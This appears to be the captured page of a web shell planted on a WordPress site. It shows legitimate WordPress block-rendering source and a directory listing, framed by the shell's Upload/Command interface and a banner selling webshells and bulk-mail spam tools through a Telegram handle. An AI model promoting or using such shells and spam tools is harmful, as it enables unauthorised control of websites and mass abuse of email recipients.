__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * Blocks API: WP_Block class
 *
 * @package WordPress
 * @since 5.5.0
 */

/**
 * Class representing a parsed instance of a block.
 *
 * @since 5.5.0
 * @property array $attributes
 */
#[AllowDynamicProperties]
class WP_Block {

	/**
	 * Original parsed array representation of block.
	 *
	 * @since 5.5.0
	 * @var array
	 */
	public $parsed_block;

	/**
	 * Name of block.
	 *
	 * @example "core/paragraph"
	 *
	 * @since 5.5.0
	 * @var string
	 */
	public $name;

	/**
	 * Block type associated with the instance.
	 *
	 * @since 5.5.0
	 * @var WP_Block_Type
	 */
	public $block_type;

	/**
	 * Block context values.
	 *
	 * @since 5.5.0
	 * @var array
	 */
	public $context = array();

	/**
	 * All available context of the current hierarchy.
	 *
	 * @since 5.5.0
	 * @var array
	 * @access protected
	 */
	protected $available_context = array();

	/**
	 * Block type registry.
	 *
	 * @since 5.9.0
	 * @var WP_Block_Type_Registry
	 * @access protected
	 */
	protected $registry;

	/**
	 * List of inner blocks (of this same class)
	 *
	 * @since 5.5.0
	 * @var WP_Block_List
	 */
	public $inner_blocks = array();

	/**
	 * Resultant HTML from inside block comment delimiters after removing inner
	 * blocks.
	 *
	 * @example "...Just <!-- wp:test /--> testing..." -> "Just testing..."
	 *
	 * @since 5.5.0
	 * @var string
	 */
	public $inner_html = '';

	/**
	 * List of string fragments and null markers where inner blocks were found
	 *
	 * @example array(
	 *   'inner_html'    => 'BeforeInnerAfter',
	 *   'inner_blocks'  => array( block, block ),
	 *   'inner_content' => array( 'Before', null, 'Inner', null, 'After' ),
	 * )
	 *
	 * @since 5.5.0
	 * @var array
	 */
	public $inner_content = array();

	/**
	 * Constructor.
	 *
	 * Populates object properties from the provided block instance argument.
	 *
	 * The given array of context values will not necessarily be available on
	 * the instance itself, but is treated as the full set of values provided by
	 * the block's ancestry. This is assigned to the private `available_context`
	 * property. Only values which are configured to consumed by the block via
	 * its registered type will be assigned to the block's `context` property.
	 *
	 * @since 5.5.0
	 *
	 * @param array                  $block             {
	 *     An associative array of a single parsed block object. See WP_Block_Parser_Block.
	 *
	 *     @type string   $blockName    Name of block.
	 *     @type array    $attrs        Attributes from block comment delimiters.
	 *     @type array    $innerBlocks  List of inner blocks. An array of arrays that
	 *                                  have the same structure as this one.
	 *     @type string   $innerHTML    HTML from inside block comment delimiters.
	 *     @type array    $innerContent List of string fragments and null markers where inner blocks were found.
	 * }
	 * @param array                  $available_context Optional array of ancestry context values.
	 * @param WP_Block_Type_Registry $registry          Optional block type registry.
	 */
	public function __construct( $block, $available_context = array(), $registry = null ) {
		$this->parsed_block = $block;
		$this->name         = $block['blockName'];

		if ( is_null( $registry ) ) {
			$registry = WP_Block_Type_Registry::get_instance();
		}

		$this->registry = $registry;

		$this->block_type = $registry->get_registered( $this->name );

		$this->available_context = $available_context;

		$this->refresh_context_dependents();
	}

	/**
	 * Updates the context for the current block and its inner blocks.
	 *
	 * The method updates the context of inner blocks, if any, by passing down
	 * any context values the block provides (`provides_context`).
	 *
	 * If the block has inner blocks, the method recursively processes them by creating new instances of `WP_Block`
	 * for each inner block and updating their context based on the block's `provides_context` property.
	 *
	 * @since 6.8.0
	 */
	public function refresh_context_dependents() {
		/*
		 * Merging the `$context` property here is not ideal, but for now needs to happen because of backward compatibility.
		 * Ideally, the `$context` property itself would not be filterable directly and only the `$available_context` would be filterable.
		 * However, this needs to be separately explored whether it's possible without breakage.
		 */
		$this->available_context = array_merge( $this->available_context, $this->context );

		if ( ! empty( $this->block_type->uses_context ) ) {
			foreach ( $this->block_type->uses_context as $context_name ) {
				if ( array_key_exists( $context_name, $this->available_context ) ) {
					$this->context[ $context_name ] = $this->available_context[ $context_name ];
				}
			}
		}

		$this->refresh_parsed_block_dependents();
	}

	/**
	 * Updates the parsed block content for the current block and its inner blocks.
	 *
	 * This method sets the `inner_html` and `inner_content` properties of the block based on the parsed
	 * block content provided during initialization. It ensures that the block instance reflects the
	 * most up-to-date content for both the inner HTML and any string fragments around inner blocks.
	 *
	 * If the block has inner blocks, this method initializes a new `WP_Block_List` for them, ensuring the
	 * correct content and context are updated for each nested block.
	 *
	 * @since 6.8.0
	 */
	public function refresh_parsed_block_dependents() {
		if ( ! empty( $this->parsed_block['innerBlocks'] ) ) {
			$child_context = $this->available_context;

			if ( ! empty( $this->block_type->provides_context ) ) {
				foreach ( $this->block_type->provides_context as $context_name => $attribute_name ) {
					if ( array_key_exists( $attribute_name, $this->attributes ) ) {
						$child_context[ $context_name ] = $this->attributes[ $attribute_name ];
					}
				}
			}

			$this->inner_blocks = new WP_Block_List( $this->parsed_block['innerBlocks'], $child_context, $this->registry );
		}

		if ( ! empty( $this->parsed_block['innerHTML'] ) ) {
			$this->inner_html = $this->parsed_block['innerHTML'];
		}

		if ( ! empty( $this->parsed_block['innerContent'] ) ) {
			$this->inner_content = $this->parsed_block['innerContent'];
		}
	}

	/**
	 * Returns a value from an inaccessible property.
	 *
	 * This is used to lazily initialize the `attributes` property of a block,
	 * such that it is only prepared with default attributes at the time that
	 * the property is accessed. For all other inaccessible properties, a `null`
	 * value is returned.
	 *
	 * @since 5.5.0
	 *
	 * @param string $name Property name.
	 * @return array|null Prepared attributes, or null.
	 */
	public function __get( $name ) {
		if ( 'attributes' === $name ) {
			$this->attributes = isset( $this->parsed_block['attrs'] ) ?
				$this->parsed_block['attrs'] :
				array();

			if ( ! is_null( $this->block_type ) ) {
				$this->attributes = $this->block_type->prepare_attributes_for_render( $this->attributes );
			}

			return $this->attributes;
		}

		return null;
	}

	/**
	 * Processes the block bindings and updates the block attributes with the values from the sources.
	 *
	 * A block might contain bindings in its attributes. Bindings are mappings
	 * between an attribute of the block and a source. A "source" is a function
	 * registered with `register_block_bindings_source()` that defines how to
	 * retrieve a value from outside the block, e.g. from post meta.
	 *
	 * This function will process those bindings and update the block's attributes
	 * with the values coming from the bindings.
	 *
	 * ### Example
	 *
	 * The "bindings" property for an Image block might look like this:
	 *
	 * ```json
	 * {
	 *   "metadata": {
	 *     "bindings": {
	 *       "title": {
	 *         "source": "core/post-meta",
	 *         "args": { "key": "text_custom_field" }
	 *       },
	 *       "url": {
	 *         "source": "core/post-meta",
	 *         "args": { "key": "url_custom_field" }
	 *       }
	 *     }
	 *   }
	 * }
	 * ```
	 *
	 * The above example will replace the `title` and `url` attributes of the Image
	 * block with the values of the `text_custom_field` and `url_custom_field` post meta.
	 *
	 * @since 6.5.0
	 * @since 6.6.0 Handle the `__default` attribute for pattern overrides.
	 * @since 6.7.0 Return any updated bindings metadata in the computed attributes.
	 *
	 * @return array The computed block attributes for the provided block bindings.
	 */
	private function process_block_bindings() {
		$parsed_block               = $this->parsed_block;
		$computed_attributes        = array();
		$supported_block_attributes = array(
			'core/paragraph' => array( 'content' ),
			'core/heading'   => array( 'content' ),
			'core/image'     => array( 'id', 'url', 'title', 'alt' ),
			'core/button'    => array( 'url', 'text', 'linkTarget', 'rel' ),
		);

		// If the block doesn't have the bindings property, isn't one of the supported
		// block types, or the bindings property is not an array, return the block content.
		if (
			! isset( $supported_block_attributes[ $this->name ] ) ||
			empty( $parsed_block['attrs']['metadata']['bindings'] ) ||
			! is_array( $parsed_block['attrs']['metadata']['bindings'] )
		) {
			return $computed_attributes;
		}

		$bindings = $parsed_block['attrs']['metadata']['bindings'];

		/*
		 * If the default binding is set for pattern overrides, replace it
		 * with a pattern override binding for all supported attributes.
		 */
		if (
			isset( $bindings['__default']['source'] ) &&
			'core/pattern-overrides' === $bindings['__default']['source']
		) {
			$updated_bindings = array();

			/*
			 * Build a binding array of all supported attributes.
			 * Note that this also omits the `__default` attribute from the
			 * resulting array.
			 */
			foreach ( $supported_block_attributes[ $parsed_block['blockName'] ] as $attribute_name ) {
				// Retain any non-pattern override bindings that might be present.
				$updated_bindings[ $attribute_name ] = isset( $bindings[ $attribute_name ] )
					? $bindings[ $attribute_name ]
					: array( 'source' => 'core/pattern-overrides' );
			}
			$bindings = $updated_bindings;
			/*
			 * Update the bindings metadata of the computed attributes.
			 * This ensures the block receives the expanded __default binding metadata when it renders.
			 */
			$computed_attributes['metadata'] = array_merge(
				$parsed_block['attrs']['metadata'],
				array( 'bindings' => $bindings )
			);
		}

		foreach ( $bindings as $attribute_name => $block_binding ) {
			// If the attribute is not in the supported list, process next attribute.
			if ( ! in_array( $attribute_name, $supported_block_attributes[ $this->name ], true ) ) {
				continue;
			}
			// If no source is provided, or that source is not registered, process next attribute.
			if ( ! isset( $block_binding['source'] ) || ! is_string( $block_binding['source'] ) ) {
				continue;
			}

			$block_binding_source = get_block_bindings_source( $block_binding['source'] );
			if ( null === $block_binding_source ) {
				continue;
			}

			// Adds the necessary context defined by the source.
			if ( ! empty( $block_binding_source->uses_context ) ) {
				foreach ( $block_binding_source->uses_context as $context_name ) {
					if ( array_key_exists( $context_name, $this->available_context ) ) {
						$this->context[ $context_name ] = $this->available_context[ $context_name ];
					}
				}
			}

			$source_args  = ! empty( $block_binding['args'] ) && is_array( $block_binding['args'] ) ? $block_binding['args'] : array();
			$source_value = $block_binding_source->get_value( $source_args, $this, $attribute_name );

			// If the value is not null, process the HTML based on the block and the attribute.
			if ( ! is_null( $source_value ) ) {
				$computed_attributes[ $attribute_name ] = $source_value;
			}
		}

		return $computed_attributes;
	}

	/**
	 * Depending on the block attribute name, replace its value in the HTML based on the value provided.
	 *
	 * @since 6.5.0
	 *
	 * @param string $block_content  Block content.
	 * @param string $attribute_name The attribute name to replace.
	 * @param mixed  $source_value   The value used to replace in the HTML.
	 * @return string The modified block content.
	 */
	private function replace_html( string $block_content, string $attribute_name, $source_value ) {
		$block_type = $this->block_type;
		if ( ! isset( $block_type->attributes[ $attribute_name ]['source'] ) ) {
			return $block_content;
		}

		// Depending on the attribute source, the processing will be different.
		switch ( $block_type->attributes[ $attribute_name ]['source'] ) {
			case 'html':
			case 'rich-text':
				$block_reader = new WP_HTML_Tag_Processor( $block_content );

				// TODO: Support for CSS selectors whenever they are ready in the HTML API.
				// In the meantime, support comma-separated selectors by exploding them into an array.
				$selectors = explode( ',', $block_type->attributes[ $attribute_name ]['selector'] );
				// Add a bookmark to the first tag to be able to iterate over the selectors.
				$block_reader->next_tag();
				$block_reader->set_bookmark( 'iterate-selectors' );

				// TODO: This shouldn't be needed when the `set_inner_html` function is ready.
				// Store the parent tag and its attributes to be able to restore them later in the button.
				// The button block has a wrapper while the paragraph and heading blocks don't.
				if ( 'core/button' === $this->name ) {
					$button_wrapper                 = $block_reader->get_tag();
					$button_wrapper_attribute_names = $block_reader->get_attribute_names_with_prefix( '' );
					$button_wrapper_attrs           = array();
					foreach ( $button_wrapper_attribute_names as $name ) {
						$button_wrapper_attrs[ $name ] = $block_reader->get_attribute( $name );
					}
				}

				foreach ( $selectors as $selector ) {
					// If the parent tag, or any of its children, matches the selector, replace the HTML.
					if ( strcasecmp( $block_reader->get_tag(), $selector ) === 0 || $block_reader->next_tag(
						array(
							'tag_name' => $selector,
						)
					) ) {
						$block_reader->release_bookmark( 'iterate-selectors' );

						// TODO: Use `set_inner_html` method whenever it's ready in the HTML API.
						// Until then, it is hardcoded for the paragraph, heading, and button blocks.
						// Store the tag and its attributes to be able to restore them later.
						$selector_attribute_names = $block_reader->get_attribute_names_with_prefix( '' );
						$selector_attrs           = array();
						foreach ( $selector_attribute_names as $name ) {
							$selector_attrs[ $name ] = $block_reader->get_attribute( $name );
						}
						$selector_markup = "<$selector>" . wp_kses_post( $source_value ) . "</$selector>";
						$amended_content = new WP_HTML_Tag_Processor( $selector_markup );
						$amended_content->next_tag();
						foreach ( $selector_attrs as $attribute_key => $attribute_value ) {
							$amended_content->set_attribute( $attribute_key, $attribute_value );
						}
						if ( 'core/paragraph' === $this->name || 'core/heading' === $this->name ) {
							return $amended_content->get_updated_html();
						}
						if ( 'core/button' === $this->name ) {
							$button_markup  = "<$button_wrapper>{$amended_content->get_updated_html()}</$button_wrapper>";
							$amended_button = new WP_HTML_Tag_Processor( $button_markup );
							$amended_button->next_tag();
							foreach ( $button_wrapper_attrs as $attribute_key => $attribute_value ) {
								$amended_button->set_attribute( $attribute_key, $attribute_value );
							}
							return $amended_button->get_updated_html();
						}
					} else {
						$block_reader->seek( 'iterate-selectors' );
					}
				}
				$block_reader->release_bookmark( 'iterate-selectors' );
				return $block_content;

			case 'attribute':
				$amended_content = new WP_HTML_Tag_Processor( $block_content );
				if ( ! $amended_content->next_tag(
					array(
						// TODO: build the query from CSS selector.
						'tag_name' => $block_type->attributes[ $attribute_name ]['selector'],
					)
				) ) {
					return $block_content;
				}
				$amended_content->set_attribute( $block_type->attributes[ $attribute_name ]['attribute'], $source_value );
				return $amended_content->get_updated_html();

			default:
				return $block_content;
		}
	}


	/**
	 * Generates the render output for the block.
	 *
	 * @since 5.5.0
	 * @since 6.5.0 Added block bindings processing.
	 *
	 * @global WP_Post $post Global post object.
	 *
	 * @param array $options {
	 *     Optional options object.
	 *
	 *     @type bool $dynamic Defaults to 'true'. Optionally set to false to avoid using the block's render_callback.
	 * }
	 * @return string Rendered block output.
	 */
	public function render( $options = array() ) {
		global $post;

		/*
		 * There can be only one root interactive block at a time because the rendered HTML of that block contains
		 * the rendered HTML of all its inner blocks, including any interactive block.
		 */
		static $root_interactive_block = null;
		/**
		 * Filters whether Interactivity API should process directives.
		 *
		 * @since 6.6.0
		 *
		 * @param bool $enabled Whether the directives processing is enabled.
		 */
		$interactivity_process_directives_enabled = apply_filters( 'interactivity_process_directives', true );
		if (
			$interactivity_process_directives_enabled && null === $root_interactive_block && (
				( isset( $this->block_type->supports['interactivity'] ) && true === $this->block_type->supports['interactivity'] ) ||
				! empty( $this->block_type->supports['interactivity']['interactive'] )
			)
		) {
			$root_interactive_block = $this;
		}

		$options = wp_parse_args(
			$options,
			array(
				'dynamic' => true,
			)
		);

		// Process the block bindings and get attributes updated with the values from the sources.
		$computed_attributes = $this->process_block_bindings();
		if ( ! empty( $computed_attributes ) ) {
			// Merge the computed attributes with the original attributes.
			$this->attributes = array_merge( $this->attributes, $computed_attributes );
		}

		$is_dynamic    = $options['dynamic'] && $this->name && null !== $this->block_type && $this->block_type->is_dynamic();
		$block_content = '';

		if ( ! $options['dynamic'] || empty( $this->block_type->skip_inner_blocks ) ) {
			$index = 0;

			foreach ( $this->inner_content as $chunk ) {
				if ( is_string( $chunk ) ) {
					$block_content .= $chunk;
				} else {
					$inner_block  = $this->inner_blocks[ $index ];
					$parent_block = $this;

					/** This filter is documented in wp-includes/blocks.php */
					$pre_render = apply_filters( 'pre_render_block', null, $inner_block->parsed_block, $parent_block );

					if ( ! is_null( $pre_render ) ) {
						$block_content .= $pre_render;
					} else {
						$source_block        = $inner_block->parsed_block;
						$inner_block_context = $inner_block->context;

						/** This filter is documented in wp-includes/blocks.php */
						$inner_block->parsed_block = apply_filters( 'render_block_data', $inner_block->parsed_block, $source_block, $parent_block );

						/** This filter is documented in wp-includes/blocks.php */
						$inner_block->context = apply_filters( 'render_block_context', $inner_block->context, $inner_block->parsed_block, $parent_block );

						/*
						 * The `refresh_context_dependents()` method already calls `refresh_parsed_block_dependents()`.
						 * Therefore the second condition is irrelevant if the first one is satisfied.
						 */
						if ( $inner_block->context !== $inner_block_context ) {
							$inner_block->refresh_context_dependents();
						} elseif ( $inner_block->parsed_block !== $source_block ) {
							$inner_block->refresh_parsed_block_dependents();
						}

						$block_content .= $inner_block->render();
					}

					++$index;
				}
			}
		}

		if ( ! empty( $computed_attributes ) && ! empty( $block_content ) ) {
			foreach ( $computed_attributes as $attribute_name => $source_value ) {
				$block_content = $this->replace_html( $block_content, $attribute_name, $source_value );
			}
		}

		if ( $is_dynamic ) {
			$global_post = $post;
			$parent      = WP_Block_Supports::$block_to_render;

			WP_Block_Supports::$block_to_render = $this->parsed_block;

			$block_content = (string) call_user_func( $this->block_type->render_callback, $this->attributes, $block_content, $this );

			WP_Block_Supports::$block_to_render = $parent;

			$post = $global_post;
		}

		if ( ( ! empty( $this->block_type->script_handles ) ) ) {
			foreach ( $this->block_type->script_handles as $script_handle ) {
				wp_enqueue_script( $script_handle );
			}
		}

		if ( ! empty( $this->block_type->view_script_handles ) ) {
			foreach ( $this->block_type->view_script_handles as $view_script_handle ) {
				wp_enqueue_script( $view_script_handle );
			}
		}

		if ( ! empty( $this->block_type->view_script_module_ids ) ) {
			foreach ( $this->block_type->view_script_module_ids as $view_script_module_id ) {
				wp_enqueue_script_module( $view_script_module_id );
			}
		}

		/*
		 * For Core blocks, these styles are only enqueued if `wp_should_load_separate_core_block_assets()` returns
		 * true. Otherwise these `wp_enqueue_style()` calls will not have any effect, as the Core blocks are relying on
		 * the combined 'wp-block-library' stylesheet instead, which is unconditionally enqueued.
		 */
		if ( ( ! empty( $this->block_type->style_handles ) ) ) {
			foreach ( $this->block_type->style_handles as $style_handle ) {
				wp_enqueue_style( $style_handle );
			}
		}

		if ( ( ! empty( $this->block_type->view_style_handles ) ) ) {
			foreach ( $this->block_type->view_style_handles as $view_style_handle ) {
				wp_enqueue_style( $view_style_handle );
			}
		}

		/**
		 * Filters the content of a single block.
		 *
		 * @since 5.0.0
		 * @since 5.9.0 The `$instance` parameter was added.
		 *
		 * @param string   $block_content The block content.
		 * @param array    $block         The full block, including name and attributes.
		 * @param WP_Block $instance      The block instance.
		 */
		$block_content = apply_filters( 'render_block', $block_content, $this->parsed_block, $this );

		/**
		 * Filters the content of a single block.
		 *
		 * The dynamic portion of the hook name, `$name`, refers to
		 * the block name, e.g. "core/paragraph".
		 *
		 * @since 5.7.0
		 * @since 5.9.0 The `$instance` parameter was added.
		 *
		 * @param string   $block_content The block content.
		 * @param array    $block         The full block, including name and attributes.
		 * @param WP_Block $instance      The block instance.
		 */
		$block_content = apply_filters( "render_block_{$this->name}", $block_content, $this->parsed_block, $this );

		if ( $root_interactive_block === $this ) {
			// The root interactive block has finished rendering. Time to process directives.
			$block_content          = wp_interactivity_process_directives( $block_content );
			$root_interactive_block = null;
		}

		return $block_content;
	}
}

Filemanager

Name Type Size Permission Actions
ID3 Folder 0750
IXR Folder 0750
PHPMailer Folder 0750
Requests Folder 0750
SimplePie Folder 0750
Text Folder 0750
assets Folder 0750
block-bindings Folder 0750
block-patterns Folder 0750
block-supports Folder 0750
blocks Folder 0750
certificates Folder 0750
css Folder 0750
customize Folder 0750
fonts Folder 0750
html-api Folder 0750
images Folder 0750
interactivity-api Folder 0750
js Folder 0750
l10n Folder 0750
php-compat Folder 0750
pomo Folder 0750
rest-api Folder 0750
sitemaps Folder 0750
sodium_compat Folder 0750
style-engine Folder 0750
theme-compat Folder 0750
widgets Folder 0750
admin-bar.php File 36.24 KB 0640
atomlib.php File 11.79 KB 0640
author-template.php File 18.51 KB 0640
block-bindings.php File 5.46 KB 0640
block-editor.php File 28.12 KB 0640
block-i18n.json File 316 B 0640
block-patterns.php File 12.9 KB 0640
block-template-utils.php File 60.46 KB 0640
block-template.php File 15 KB 0640
blocks.php File 110.4 KB 0640
bookmark-template.php File 12.47 KB 0640
bookmark.php File 15.07 KB 0640
cache-compat.php File 5.83 KB 0640
cache.php File 13.16 KB 0640
canonical.php File 33.71 KB 0640
capabilities.php File 41.72 KB 0640
category-template.php File 55.67 KB 0640
category.php File 12.53 KB 0640
class-IXR.php File 2.55 KB 0640
class-avif-info.php File 28.92 KB 0640
class-feed.php File 539 B 0640
class-http.php File 367 B 0640
class-json.php File 42.66 KB 0640
class-oembed.php File 401 B 0640
class-phpass.php File 6.61 KB 0640
class-phpmailer.php File 664 B 0640
class-pop3.php File 20.63 KB 0640
class-requests.php File 2.18 KB 0640
class-simplepie.php File 453 B 0640
class-smtp.php File 457 B 0640
class-snoopy.php File 36.83 KB 0640
class-walker-category-dropdown.php File 2.41 KB 0640
class-walker-category.php File 8.28 KB 0640
class-walker-comment.php File 13.89 KB 0640
class-walker-nav-menu.php File 11.76 KB 0640
class-walker-page-dropdown.php File 2.65 KB 0640
class-walker-page.php File 7.43 KB 0640
class-wp-admin-bar.php File 17.46 KB 0640
class-wp-ajax-response.php File 5.14 KB 0640
class-wp-application-passwords.php File 16.7 KB 0640
class-wp-block-bindings-registry.php File 8.26 KB 0640
class-wp-block-bindings-source.php File 2.92 KB 0640
class-wp-block-editor-context.php File 1.32 KB 0640
class-wp-block-list.php File 4.65 KB 0640
class-wp-block-metadata-registry.php File 11.62 KB 0640
class-wp-block-parser-block.php File 2.5 KB 0640
class-wp-block-parser-frame.php File 1.97 KB 0640
class-wp-block-parser.php File 11.26 KB 0640
class-wp-block-pattern-categories-registry.php File 5.25 KB 0640
class-wp-block-patterns-registry.php File 10.53 KB 0640
class-wp-block-styles-registry.php File 6.25 KB 0640
class-wp-block-supports.php File 5.49 KB 0640
class-wp-block-template.php File 1.99 KB 0640
class-wp-block-templates-registry.php File 7.06 KB 0640
class-wp-block-type-registry.php File 4.9 KB 0640
class-wp-block-type.php File 16.86 KB 0640
class-wp-block.php File 22.5 KB 0640
class-wp-classic-to-block-menu-converter.php File 3.99 KB 0640
class-wp-comment-query.php File 47.26 KB 0640
class-wp-comment.php File 9.22 KB 0640
class-wp-customize-control.php File 25.25 KB 0640
class-wp-customize-manager.php File 197.84 KB 0640
class-wp-customize-nav-menus.php File 56.31 KB 0640
class-wp-customize-panel.php File 10.46 KB 0640
class-wp-customize-section.php File 10.95 KB 0640
class-wp-customize-setting.php File 29.26 KB 0640
class-wp-customize-widgets.php File 70.52 KB 0640
class-wp-date-query.php File 34.89 KB 0640
class-wp-dependencies.php File 14.78 KB 0640
class-wp-dependency.php File 2.57 KB 0640
class-wp-duotone.php File 39.83 KB 0640
class-wp-editor.php File 70.64 KB 0640
class-wp-embed.php File 15.56 KB 0640
class-wp-error.php File 7.33 KB 0640
class-wp-exception.php File 253 B 0640
class-wp-fatal-error-handler.php File 7.96 KB 0640
class-wp-feed-cache-transient.php File 3.1 KB 0640
class-wp-feed-cache.php File 969 B 0640
class-wp-hook.php File 15.63 KB 0640
class-wp-http-cookie.php File 7.22 KB 0640
class-wp-http-curl.php File 12.25 KB 0640
class-wp-http-encoding.php File 6.53 KB 0640
class-wp-http-ixr-client.php File 3.42 KB 0640
class-wp-http-proxy.php File 5.84 KB 0640
class-wp-http-requests-hooks.php File 1.97 KB 0640
class-wp-http-requests-response.php File 4.3 KB 0640
class-wp-http-response.php File 2.91 KB 0640
class-wp-http-streams.php File 16.46 KB 0640
class-wp-http.php File 40.6 KB 0640
class-wp-image-editor-gd.php File 19.69 KB 0640
class-wp-image-editor-imagick.php File 33.92 KB 0640
class-wp-image-editor.php File 17.12 KB 0640
class-wp-list-util.php File 7.27 KB 0640
class-wp-locale-switcher.php File 6.62 KB 0640
class-wp-locale.php File 16.49 KB 0640
class-wp-matchesmapregex.php File 1.79 KB 0640
class-wp-meta-query.php File 29.82 KB 0640
class-wp-metadata-lazyloader.php File 6.67 KB 0640
class-wp-navigation-fallback.php File 9 KB 0640
class-wp-network-query.php File 19.39 KB 0640
class-wp-network.php File 12.01 KB 0640
class-wp-object-cache.php File 17.11 KB 0640
class-wp-oembed-controller.php File 6.74 KB 0640
class-wp-oembed.php File 30.87 KB 0640
class-wp-paused-extensions-storage.php File 4.99 KB 0640
class-wp-phpmailer.php File 3.71 KB 0640
class-wp-plugin-dependencies.php File 24.72 KB 0640
class-wp-post-type.php File 29.96 KB 0640
class-wp-post.php File 6.34 KB 0640
class-wp-query.php File 154.32 KB 0640
class-wp-recovery-mode-cookie-service.php File 6.72 KB 0640
class-wp-recovery-mode-email-service.php File 10.92 KB 0640
class-wp-recovery-mode-key-service.php File 4.77 KB 0640
class-wp-recovery-mode-link-service.php File 3.38 KB 0640
class-wp-recovery-mode.php File 11.18 KB 0640
class-wp-rewrite.php File 62.2 KB 0640
class-wp-role.php File 2.46 KB 0640
class-wp-roles.php File 8.38 KB 0640
class-wp-script-modules.php File 19.01 KB 0640
class-wp-scripts.php File 27.68 KB 0640
class-wp-session-tokens.php File 7.15 KB 0640
class-wp-simplepie-file.php File 3.33 KB 0640
class-wp-simplepie-sanitize-kses.php File 1.87 KB 0640
class-wp-site-query.php File 30.88 KB 0640
class-wp-site.php File 7.28 KB 0640
class-wp-speculation-rules.php File 7.35 KB 0640
class-wp-styles.php File 10.75 KB 0640
class-wp-tax-query.php File 19.1 KB 0640
class-wp-taxonomy.php File 18.12 KB 0640
class-wp-term-query.php File 39.91 KB 0640
class-wp-term.php File 5.17 KB 0640
class-wp-text-diff-renderer-inline.php File 979 B 0640
class-wp-text-diff-renderer-table.php File 18.44 KB 0640
class-wp-textdomain-registry.php File 10.24 KB 0640
class-wp-theme-json-data.php File 1.77 KB 0640
class-wp-theme-json-resolver.php File 34.9 KB 0640
class-wp-theme-json-schema.php File 7.19 KB 0640
class-wp-theme-json.php File 159.71 KB 0640
class-wp-theme.php File 64.27 KB 0640
class-wp-token-map.php File 27.95 KB 0640
class-wp-url-pattern-prefixer.php File 4.69 KB 0640
class-wp-user-meta-session-tokens.php File 2.92 KB 0640
class-wp-user-query.php File 42.63 KB 0640
class-wp-user-request.php File 2.25 KB 0640
class-wp-user.php File 22.46 KB 0640
class-wp-walker.php File 13.01 KB 0640
class-wp-widget-factory.php File 3.27 KB 0640
class-wp-widget.php File 18 KB 0640
class-wp-xmlrpc-server.php File 210.39 KB 0640
class-wp.php File 25.7 KB 0640
class-wpdb.php File 115.51 KB 0640
class.wp-dependencies.php File 373 B 0640
class.wp-scripts.php File 343 B 0640
class.wp-styles.php File 338 B 0640
comment-template.php File 100.69 KB 0640
comment.php File 128.46 KB 0640
compat.php File 15.99 KB 0640
cron.php File 41.66 KB 0640
date.php File 400 B 0640
default-constants.php File 11.1 KB 0640
default-filters.php File 35.84 KB 0640
default-widgets.php File 2.24 KB 0640
deprecated.php File 187.07 KB 0640
embed-template.php File 338 B 0640
embed.php File 37.28 KB 0640
error-protection.php File 4.02 KB 0640
feed-atom-comments.php File 5.38 KB 0640
feed-atom.php File 3.05 KB 0640
feed-rdf.php File 2.61 KB 0640
feed-rss.php File 1.16 KB 0640
feed-rss2-comments.php File 4.04 KB 0640
feed-rss2.php File 3.71 KB 0640
feed.php File 22.86 KB 0640
fonts.php File 9.52 KB 0640
formatting.php File 334.88 KB 0640
functions.php File 280.81 KB 0640
functions.wp-scripts.php File 14.22 KB 0640
functions.wp-styles.php File 8.38 KB 0640
general-template.php File 168.46 KB 0640
global-styles-and-settings.php File 20.76 KB 0640
http.php File 24.72 KB 0640
https-detection.php File 5.72 KB 0640
https-migration.php File 4.63 KB 0640
kses.php File 72.73 KB 0640
l10n.php File 66.92 KB 0640
link-template.php File 154.1 KB 0640
load.php File 55.12 KB 0640
locale.php File 162 B 0640
media-template.php File 61.58 KB 0640
media.php File 215.33 KB 0640
meta.php File 63.71 KB 0640
ms-blogs.php File 25.24 KB 0640
ms-default-constants.php File 4.81 KB 0640
ms-default-filters.php File 6.48 KB 0640
ms-deprecated.php File 21.25 KB 0640
ms-files.php File 2.68 KB 0640
ms-functions.php File 89.44 KB 0640
ms-load.php File 19.42 KB 0640
ms-network.php File 3.69 KB 0640
ms-settings.php File 4.1 KB 0640
ms-site.php File 40.35 KB 0640
nav-menu-template.php File 25.38 KB 0640
nav-menu.php File 43.33 KB 0640
option.php File 100.65 KB 0640
pluggable-deprecated.php File 6.18 KB 0640
pluggable.php File 119.82 KB 0640
plugin.php File 34.63 KB 0640
post-formats.php File 6.94 KB 0640
post-template.php File 67.04 KB 0640
post-thumbnail-template.php File 10.62 KB 0640
post.php File 284.88 KB 0640
query.php File 36.17 KB 0640
registration-functions.php File 200 B 0640
registration.php File 200 B 0640
rest-api.php File 97.91 KB 0640
revision.php File 30.02 KB 0640
rewrite.php File 19.08 KB 0640
robots-template.php File 5.06 KB 0640
rss-functions.php File 255 B 0640
rss.php File 22.57 KB 0640
script-loader.php File 130.14 KB 0640
script-modules.php File 7.53 KB 0640
session.php File 258 B 0640
shortcodes.php File 23.49 KB 0640
sitemaps.php File 3.16 KB 0640
speculative-loading.php File 8.36 KB 0640
spl-autoload-compat.php File 441 B 0640
style-engine.php File 7.39 KB 0640
taxonomy.php File 172.1 KB 0640
template-canvas.php File 544 B 0640
template-loader.php File 2.94 KB 0640
template.php File 23.59 KB 0640
theme-i18n.json File 1.49 KB 0640
theme-previews.php File 2.77 KB 0640
theme-templates.php File 6.09 KB 0640
theme.json File 8.5 KB 0640
theme.php File 131.16 KB 0640
update.php File 36.62 KB 0640
user.php File 171.7 KB 0640
vars.php File 6.41 KB 0640
version.php File 1.09 KB 0640
widgets.php File 69.06 KB 0640
wp-db.php File 445 B 0640
wp-diff.php File 799 B 0640
Filemanager